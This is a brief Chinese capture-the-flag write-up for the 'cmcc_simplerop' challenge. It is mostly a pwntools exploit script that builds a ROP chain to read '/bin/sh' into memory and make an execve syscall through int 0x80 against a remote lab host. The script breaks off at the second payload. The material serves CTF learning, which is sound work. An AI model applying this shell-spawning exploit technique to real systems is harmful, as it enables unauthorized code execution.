cmcc_simplerop
一开始以为是用里面定义的"puts函数"打印函数地址做的,然后失败了:LibcSearcher找不到匹配的libc,猜测可能是因为他的"puts"函数是自定义的(因为没有在plt表中),所以打印出的地址不正确?
既然不能像以前一样使用system函数,那就再试一下int 80h结果真有函数
然后就是编写exp了
from pwn import *
from LibcSearcher import LibcSearcher
#sh=process('./sim')
sh=remote('node3.buuoj.cn',26536)
elf=ELF('./sim')
context.log_level='debug'
#puts_addr=0x804F640这里是一开始想通过strcmp的地址找libc的但不知道为什么失败了
#cmsp_got=0x80EA034
main_addr=0x8048E24
pop_di=0x804846f
read_addr=0x806CD50
data=0x80e9000
pop3_addr=0x0804838c
pop_ax=0x080bae06
pop_dx_cx_bx=0x0806e850
payload1='a'*32+p32(read_addr)+p32(pop3_addr)+p32(0)+p32(data)+p32(8)+p32(pop_ax)+p32(0xb)+p32(pop_dx_cx_bx)+p32(0)+p32(0)+p32(data)+p32(0x080493e1)
payload2